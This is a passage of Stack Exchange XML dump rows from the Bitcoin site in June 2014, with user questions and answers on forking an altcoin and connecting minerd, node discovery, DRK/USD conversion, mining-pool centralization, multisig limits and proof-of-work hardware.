LastActivityDate="2014-06-15T12:45:05.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26945" PostTypeId="2" ParentId="18461" CreationDate="2014-06-12T21:33:05.320" Score="3" Body="&lt;p&gt;Bitcoin Programming Book&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n1vMK.jpg&quot; alt=&quot;Bitcoin Programming Book by Mostafa Farghaly&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PDF &lt;a href=&quot;https://gumroad.com/l/Bitcoin-Programming-book&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gumroad.com/l/Bitcoin-Programming-book&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paperback &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1500176826&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.amazon.com/Bitcoin-Programming-Mostafa-Farghaly/dp/1500176826/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12049" LastEditorUserId="12049" LastEditDate="2014-08-22T21:33:33.227" LastActivityDate="2014-08-22T21:33:33.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26946" PostTypeId="2" ParentId="26932" CreationDate="2014-06-12T22:49:53.990" Score="2" Body="&lt;p&gt;I bought a droplet on DigitalOcean running Ubuntu 12.04. It is only $5/month. I opened the port, compiled my *coind program on it, created my .conf file and ran it. Now my client coin programs connect to it.&lt;/p&gt;&#xA;" OwnerUserId="10229" LastActivityDate="2014-06-12T22:49:53.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26947" PostTypeId="2" ParentId="26942" CreationDate="2014-06-13T01:21:27.947" Score="4" Body="&lt;p&gt;If it's predetermined that 80,000 blocks remain, it sounds like you haven't cleared out the checkpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been awhile since I looked at anything other than Ripple or Nxt, but you should be able to find the checkpoints by simply searching for &quot;checkpoint&quot; in the code or the &lt;code&gt;assert()&lt;/code&gt;s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to keep yourself from interfering with the original BlackCoin, you might want to use another port.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-06-13T01:21:27.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26948" PostTypeId="1" CreationDate="2014-06-13T03:10:56.377" Score="3" ViewCount="2812" Body="&lt;p&gt;I forked the BlackCoin source, changed the ports, generated the genesis block, merkle, blah blah blah. I set up a node on a DigitalOcean server and compiled my coin daemon there as well as on my local machine. They two coin daemons recognize each other, I put the addnode into the conf file, also put in rpcuser, rpcpassword, and rpcport into each conf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My coin-qt program on my local machine recognizes that it has 1 connection to the network, but for some reason will not stop syncing, even though only the genesis block has been created. It still says out of sync. My server daemon is still syncing too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I call getwork, they both return values. Here is what is returned:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;midstate&quot; : &quot;79f67436791f93f3eadc9926a8578baddfe15eebe894a6a59ba11fdfb889cef3&quot;,&#xA;&quot;data&quot; : &quot;00000006edc7bd4e9e7c221bfcc052f25c28c6483d77e1c04ddce735d5a04ba000000ff977168febeac231c7109f85dc43cd9461b7763f9057bb3983622ff0986885b7d9539a6a001e0fffff00000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&quot;,&#xA;&quot;hash1&quot; : &quot;00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000&quot;,&#xA;&quot;target&quot; : &quot;000000000000000000000000000000000000000000000000000000ffff0f0000&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I try to call minerd and point them either to the local wallet or the node, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./minerd --url=http://127.0.0.1:14632 -u user -p password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./minerd --url={My Node IP}:14632 -u username -p mypassword&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it gives me an error!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the local client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unrecognized block version: 6&#xA;json_rpc_call failed, retry after 30 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the node:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTP request failed; connect() timed out!&#xA;json_rpc_call failed, retry after 30 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I am very close and would like to figure this out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT--&lt;/strong&gt;&#xA;I went into main.h and changed the value of &lt;code&gt;static const int CURRENT_VERSION&lt;/code&gt; from 6 to 1. This seems to have fixed the json problem. As far as the server, I simply had forgotten to open the rpc port and not just the port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my client *coin-qt program continually says 'out of sync' and just says 'catching up. downloaded 0 blocks of transaction history. last block was 2 days ago.' That is the genesis block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since BlackCoin uses standard scrypt algorithm, I think minerd should be able to mine this coin. It seems to work alright but I get all 'boos' when mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the output on my laptop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@crypto:~$ minerd -a scrypt --url=http://{{node ip}}:14632 -u user -p {{somepass}} --coinbase-addr={{address}} [2014-06-13 12:43:11] &#xA;[2014-06-13 12:43:11] Binding thread 0 to cpu 0&#xA;[2014-06-13 12:43:11] 2 miner threads started, using 'scrypt' algorithm.&#xA;[2014-06-13 12:43:11] Binding thread 1 to cpu 1&#xA;[2014-06-13 12:43:12] thread 0: 4104 hashes, 4.76 khash/s&#xA;[2014-06-13 12:43:12] thread 1: 4104 hashes, 4.52 khash/s&#xA;...&#xA;[2014-06-13 12:45:58] thread 1: 756 hashes, 4.60 khash/s&#xA;[2014-06-13 12:45:58] accepted: 0/1 (0.00%), 9.33 khash/s (booooo)&#xA;[2014-06-13 12:46:02] thread 1: 18408 hashes, 4.71 khash/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't understand why it isn't accepting anything. This coin uses scrypt, the same as BlackCoin. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="10229" LastEditorUserId="5406" LastEditDate="2016-04-24T08:57:48.280" LastActivityDate="2016-04-24T08:57:48.280" Title="Custom altcoin won't sync with node and neither will accept a miner connection" Tags="|bitcoind|protocol|network|altcoin-development|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26949" PostTypeId="2" ParentId="26934" CreationDate="2014-06-13T12:59:52.020" Score="1" Body="&lt;p&gt;I think you will not be able to answer your first question without some history of being connected to the Bitcoin Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to explain, when you run a bitcoin node, it compiles a database of other nodes that it is connected with, so that when it attempts to communicate on the network, it already has a list of known IP addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in any P2P network, other nodes come an go, some may not even obtain the same IP address when they return. In order to overcome this problem each node can share it's knowledge of other peers to any requesting node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point I want to make is that not all nodes are aware of all other nodes, and at any one time a node may just disappear from the network, only to re-appear with another IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reliable nodes are ones that I would have thought, tend not to disappear, and tend not to change IP addresses, and therefore your own Bitcoin node will be able to tell you what these nodes are (if it has knowledge of them), but only after having been itself connected for a considerable amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the second question... this never happens. Peers do not charge fees - if they did nobody would connect to them.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-06-13T12:59:52.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26950" PostTypeId="2" ParentId="24909" CreationDate="2014-06-13T13:25:29.090" Score="1" Body="&lt;p&gt;I actually &lt;a href=&quot;https://github.com/mniip/Doger/blob/44b4dcafde3b71c5d2d2446e376318ad0ab91487/Transactions.py&quot; rel=&quot;nofollow&quot;&gt;wrote a program&lt;/a&gt; that does this for an IRC tipbot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially you need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start the &lt;strong&gt;command-line&lt;/strong&gt; dogecoin server by doing &lt;code&gt;./dogecoind -server&lt;/code&gt;. I'm not sure if the dogecoind file is available for OS X. &lt;a href=&quot;http://techspry.com/how-to/how-to-install-litecoind-bitcoind-dogecoind-on-os-x-10-9-mavericks/&quot; rel=&quot;nofollow&quot;&gt;See here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Import the library: &lt;code&gt;import dogecoinrpc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Open a connection in your python program: &lt;code&gt;conn = dogecoinrpc.connect_to_local()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get account balance with &lt;code&gt;conn.getbalance('joe', minconf=4)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Get total balance with &lt;code&gt;conn.getbalance('',minconf=4)&lt;/code&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In these examples, &lt;code&gt;minconf=4&lt;/code&gt; tell it it only return the balance that has 4 or more confirmations&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Full list of API calls &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_Calls_list&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. I know it says Bitcoin, but the API is the same&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6490" LastActivityDate="2014-06-13T13:25:29.090" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26953" PostTypeId="2" ParentId="26934" CreationDate="2014-06-13T18:54:59.613" Score="2" Body="&lt;p&gt;It is a list of nodes that blockchain.info considers to be well-reachable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's nothing authoritative - anyone can run a node, and there is no such concept as a 'hub node' on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to why it is blank: ask blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-06-13T18:54:59.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26954" PostTypeId="1" AcceptedAnswerId="28077" CreationDate="2014-06-13T19:19:50.363" Score="2" ViewCount="306" Body="&lt;p&gt;Apparently, there is an Australian trading house, &lt;a href=&quot;https://www.btradeaustralia.com/&quot; rel=&quot;nofollow&quot;&gt;Bit Trade&lt;/a&gt;, that will trade currency for Bitcoins or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a U.S. equivalent?&lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="132" LastEditDate="2014-06-17T11:04:33.643" LastActivityDate="2014-06-22T07:23:03.007" Title="Is there a US broker for Bitcoins?" Tags="|trading|usa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26956" PostTypeId="2" ParentId="25723" CreationDate="2014-06-13T20:12:15.387" Score="2" Body="&lt;p&gt;I'm the author of the paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PoW mining may be wasteful, but it's a great distribution mechanism.  Coins and other applications that use Tendermint might want to tack on a distribution mechanism that tapers off over time.  I'm also exploring alternative distribution algorithms that don't require PoW, but for now I'm busy implementing core Tendermint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dogecoin could adopt it with a hardfork.  Alternatively, one could take Dogecoin's transaction data and create a new coin using Tendermint's consensus protocol.  The biggest problem with this is that exchanges and wallet services may benefit unfairly.&lt;/p&gt;&#xA;" OwnerUserId="11401" LastActivityDate="2014-06-13T20:12:15.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26958" PostTypeId="1" AcceptedAnswerId="26960" CreationDate="2014-06-13T20:36:33.687" Score="4" ViewCount="145" Body="&lt;p&gt;With &lt;a href=&quot;https://blockchain.info/tobtc?currency=USD&amp;amp;value=10&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tobtc?currency=USD&amp;amp;value=10&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find that $10 = 0.01724138 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with &lt;a href=&quot;https://data.bter.com/api/1/ticker/drk_btc&quot; rel=&quot;nofollow&quot;&gt;https://data.bter.com/api/1/ticker/drk_btc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find that 1 DRK = 0.017669 BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get from those two bits of info $10 worth of DRK?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Is there an equivalent site like blockchain.info for each coin?&lt;/p&gt;&#xA;" OwnerUserId="17044" LastActivityDate="2014-06-14T01:10:26.920" Title="$10 worth of DRK" Tags="|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26959" PostTypeId="1" CreationDate="2014-06-13T21:49:02.233" Score="2" ViewCount="51" Body="&lt;p&gt;Are bit coins taxable? Another words if you accept bit coins when you sell an item do you pay taxes on the proceeds if your accepting bit coins?&lt;/p&gt;&#xA;" OwnerUserId="18211" LastActivityDate="2014-06-13T21:49:02.233" Title="Are bit coins taxable?" Tags="|money|" AnswerCount="0" CommentCount="1" ClosedDate="2014-06-16T20:46:54.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="26960" PostTypeId="2" ParentId="26958" CreationDate="2014-06-13T22:35:38.027" Score="3" Body="&lt;p&gt;Simple multiplication will find that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.01724138 BTC / 10 USD * &#xA;1 DRK / 0.017669 BTC =&#xA;0.01724138/10/0.017669 DRK/USD ~=&#xA;0.975798 DRK / 10 USD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;10 USD is just under 1 DRK.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, Is there an equivalent site like blockchain.info for each coin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most altcoins do have one or more &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain_browser&quot; rel=&quot;nofollow&quot;&gt;block chain browser&lt;/a&gt;/explorer sites. Searching for &quot;[altcoin name] blockchain explorer&quot; will usually find one.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-14T00:00:14.737" LastActivityDate="2014-06-14T00:00:14.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26961" PostTypeId="1" CreationDate="2014-06-13T23:03:03.730" Score="13" ViewCount="479" Body="&lt;p&gt;Now that mining pools are starting to hit the 51% cusp of total mining power, what would need to happen to the Bitcoin protocol to reduce their success, and encourage distributed mining power over pools?&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="2306" LastEditDate="2014-09-12T16:18:15.327" LastActivityDate="2021-02-28T06:46:51.563" Title="What would be required to disincentivize mining pools?" Tags="|mining-pools|weaknesses|wealth-distribution|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26962" PostTypeId="2" ParentId="26958" CreationDate="2014-06-14T01:10:26.920" Score="1" Body="&lt;p&gt;Though TimS's method works, I always prefer to find the conversion factor. In this case, you want to know DRK per USD, or how much DRK will 1 USD buy.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Simplify your BTC/USD factor&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;0.01724138 BTC      .00172414 BTC    &#xA;--------------   =  -------------  &#xA;    10 USD              1 USD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up the conversion factor you are targeting. In this case, we want DRK on top and USD on bottom&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;.00172414 BTC          1 DRK&#xA;-------------   x   -------------  &#xA;    1 USD           .01766900 BTC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The BTC unit cancels out and we are left with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;.00172414       1 DRK       .0975798290 DRK&#xA;---------   x   -----   =   ---------------&#xA;.01766900       1 USD           1 USD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So 1 USD will buy you about a tenth of 1 DRK. Notice I added two extra decimals than the typical 8; this will account for up to three digit values that you want to multiply the factor by, because you loose decimals with every 10th.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have the conversion factor and you can multiply it by any USD amount (that I assume you are considering investing) to get exactly how much DRK that will work out to. In this case, you said 10 USD so&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;.0975798290 * 10 = .9757982900&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;We round that off to eight decimals and you get your amount. 10 USD will buy .97579829 DRK.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2014-06-14T01:10:26.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26963" PostTypeId="2" ParentId="26961" CreationDate="2014-06-14T13:00:38.293" Score="1" Body="&lt;p&gt;AFAIK there is nothing that can be done within the protocol to prevent 51% attacks. The best way to prevent such attacks from mining pools is to ditch that pool, and mine somewhere else. This happened earlier this year, when GHash.io almost reached 51% (&lt;a href=&quot;http://www.coindesk.com/bitcoin-miners-ditch-ghash-io-pool-51-attack/&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;). &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-06-14T13:00:38.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26964" PostTypeId="1" CreationDate="2014-06-14T13:01:25.683" Score="2" ViewCount="615" Body="&lt;p&gt;I'm moving my coins out of Bitstamp I was looking for another exchange. I have sent 0.00007 BTC to just test the transaction. I got the address where I want to send coins to from coinbase.com/myAccountName. Apperently this address changes after a while. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a mail from Bitstamp to verify my transaction, what I accepted.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You requested to withdraw 0.00007000 bitcoins to address&#xA;  1Kr8jaHPqEfwd1ZXMh6PHg2fhM5vqCYAQH.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A few minutes after my transaction it was finished on Bitstamp. I copied &lt;a href=&quot;https://blockchain.info/address/1Kr8jaHPqEfwd1ZXMh6PHg2fhM5vqCYAQH&quot; rel=&quot;nofollow&quot;&gt;the address to the blockchain&lt;/a&gt; and I saw it was confirmed and verified my the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I went back to coinbase.com/myAccountName and I saw the address was changed...&#xA;I never got a mail or a conformation the funds have been transferred on my coinbase account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought Coinbase was doing a lot of effort to make this dummy proof?&#xA;What did I do wrong? Isn't coinbase.com/myAccountName made to do an easy transfer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Bitfinex now, worked great. Very happy with the exchange!&lt;/p&gt;&#xA;" OwnerUserId="9074" LastActivityDate="2014-06-19T09:14:48.980" Title="Coinbase lost my transaction from Bitstamp" Tags="|transactions|wallet|coinbase.com|bitstamp|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26966" PostTypeId="2" ParentId="23540" CreationDate="2014-06-14T15:23:07.027" Score="0" Body="&lt;p&gt;Possible attack vectors from the exit node include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exit node getting its hands on a valid SSL certificate recognised and trusted by the Tor Browser Bundle&lt;/li&gt;&#xA;&lt;li&gt;Exit node only returning http not https data so HTTPSEverywhere will not be able to connect via https so it falls back without encryption&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6957" LastEditorUserId="6957" LastEditDate="2014-06-14T15:32:15.633" LastActivityDate="2014-06-14T15:32:15.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26967" PostTypeId="1" CreationDate="2014-06-14T17:52:56.683" Score="3" ViewCount="78" Body="&lt;p&gt;It technically doesn’t matter whether I am using a super computer or a laptop to do the proof of work, it’s simply that with a super computer I can go through the attempts much faster, which means I have a higher chance of solving the problem before anyone else and therefore claiming the reward, right? &lt;/p&gt;&#xA;" OwnerUserId="18220" LastEditorUserId="5406" LastEditDate="2016-04-17T20:13:43.290" LastActivityDate="2016-04-17T20:13:43.290" Title="Proof of work - does the equipment matter?" Tags="|hash|mining-hardware|hashpower|proof-of-work|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26969" PostTypeId="2" ParentId="25468" CreationDate="2014-06-14T22:49:16.983" Score="2" Body="&lt;p&gt;For plain multisigs, as far as I know only Eligius will mine transactions with n&gt;3 as they're non-standard (so not relayed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, multisig is now usually done using pay-to-script-hash. In this case, the only limit you're facing is the maximum length of the scriptSig which is 1650 bytes. If you do the math, you can go up to n=15 safely in that space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR Up to n=15 in a P2SH, stick to 3 otherwise.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-06-14T22:49:16.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26970" PostTypeId="2" ParentId="26967" CreationDate="2014-06-14T23:49:49.910" Score="2" Body="&lt;p&gt;Right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proof of work is computing 2 SHA256 of a sequence of bytes that represent the block header to find a value lower than a target. It doesn't matter if the 2 hashes are computed by an ASIC, a CPU, a GPU or a &lt;a href=&quot;http://en.wikipedia.org/wiki/HP-48&quot; rel=&quot;nofollow&quot;&gt;HP-48&lt;/a&gt;. What matters is the number of hashes you can compute per unit of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why the power of mining hardware is measure in MH/s, GH/s or TH/s (mega, giga and terahashes per second).&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-06-14T23:49:49.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26973" PostTypeId="2" ParentId="25830" CreationDate="2014-06-15T07:23:57.860" Score="0" Body="&lt;p&gt;Quoted from 'Nate Eldredge' in the comments above:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The whole point of BIP 70 is that all sensitive information, including&#xA;  the address, is only sent over HTTPS (so your URL needs to be https,&#xA;  not http, and you need an SSL-enabled webserver running on localhost).&#xA;  That way an man-in-the-middle attacker cannot, for example, alter the&#xA;  payment address so the payment goes to the attacker instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15533" LastEditorUserId="15533" LastEditDate="2014-06-27T21:30:14.177" LastActivityDate="2014-06-27T21:30:14.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26975" PostTypeId="2" ParentId="26961" CreationDate="2014-06-15T09:39:05.593" Score="3" Body="&lt;p&gt;It doesn't matter if a mining pool has 100% of the total mining power so long as that mining pool can't choose which transactions its users work on, prevent them from submitting blocks that they find, or choose which blocks they build from. No change is needed to the Bitcoin protocol as far as I know. Only the protocol used between pools and their clients needs to be changed.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-06-15T09:39:05.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26976" PostTypeId="1" CreationDate="2014-06-15T12:07:06.643" Score="3" ViewCount="2015" Body="&lt;p&gt;Can Bitcoin mining hardware be used for other Crypto coins?&lt;/p&gt;&#xA;" OwnerUserId="18232" LastEditorUserId="2306" LastEditDate="2017-04-25T19:57:42.657" LastActivityDate="2017-04-25T19:57:42.657" Title="Can Bitcoin mining hardware be used for other Crypto coins?" Tags="|mining-hardware|asic|" AnswerCount="1" CommentCount="0" ClosedDate="2014-06-15T14:40:48.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="26977" PostTypeId="2" ParentId="26976" CreationDate="2014-06-15T12:15:31.083" Score="2" Body="&lt;p&gt;You can do, if they are using the same mining algorithm. Bitcoin is using SHA256, here is a list of other coins using the same algorithm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coinwarz.com/cryptocurrency/?sha256hr=1.00&amp;amp;sha256p=100.00&amp;amp;sha256pc=0.1000&amp;amp;scrypthr=1000.00&amp;amp;scryptp=500.00&amp;amp;scryptpc=0.1000&amp;amp;scryptnhr=450.00&amp;amp;scryptnp=500.00&amp;amp;scryptnpc=0.1000&amp;amp;x11hr=3000.00&amp;amp;x11p=500.00&amp;amp;x11pc=0.1000&amp;amp;keccakhr=500.00&amp;amp;keccakp=500.00&amp;amp;keccakpc=0.1000&amp;amp;quarkhr=5000.00&amp;amp;quarkp=500.00&amp;amp;quarkpc=0.1000&amp;amp;groestlhr=10.00&amp;amp;groestlp=500.00&amp;amp;groestlpc=0.1000&amp;amp;sha256c=true&amp;amp;scryptc=false&amp;amp;scryptnc=false&amp;amp;x11c=false&amp;amp;keccakc=false&amp;amp;quarkc=false&amp;amp;groestlc=false&amp;amp;e=Coinbase&quot; rel=&quot;nofollow&quot;&gt;SHA256-Coins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other coins like Litecoin are using the Scrypt algorithm, those are not compatible with bitcoin mining hardware.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-15T12:15:31.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26978" PostTypeId="2" ParentId="26961" CreationDate="2014-06-15T12:22:45.123" Score="1" Body="&lt;p&gt;Mining pools are an important part of the Bitcoin ecosystem and I don't believe they should be disincentivized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does need to be done is to eliminate the inherent preference to mine only in the largest pool. This can be done with new mining pool reward frameworks such as &lt;a href=&quot;https://bitcointalk.org/index.php?topic=281180.0&quot; rel=&quot;nofollow&quot;&gt;Multi-PPS&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-06-15T12:22:45.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26979" PostTypeId="2" ParentId="26961" CreationDate="2014-06-15T12:59:24.363" Score="1" Body="&lt;p&gt;Ok, I'll take a shot at this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would need some kind of 'start work message' in the bitcoin system. For instance when miners start working on a block, they would have to broadcast a partial blockheader (minus the nonce) to the bitcoin network. This indicates that they have started to work on that block. Nodes (non-mining nodes) would store that partial header in memory (I guess) and if they receive an identical partial header from another miner then that indicates pooled mining with central authority, so they would flag those headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a block is solved, if the partial header was flagged (received more than once), then the block rejected. If no partial header was received, it is rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so not saying I have all the details worked out, but the above might be a start. For mining pools that work by having miners work on identical blocks where each miner is just trying a range of nonce values, this might work, because if any miner broadcasts the 'start work message' then that would prevent any other miner in the pool from doing so. Now it's not perfect. If all miners in the pool cooperated, they would just wait till the block is solved, then the mining pool just broadcasts the start work message followed by the solved block. But a single defector would ruin this for them.&lt;/p&gt;&#xA;" OwnerUserId="16926" LastActivityDate="2014-06-15T12:59:24.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
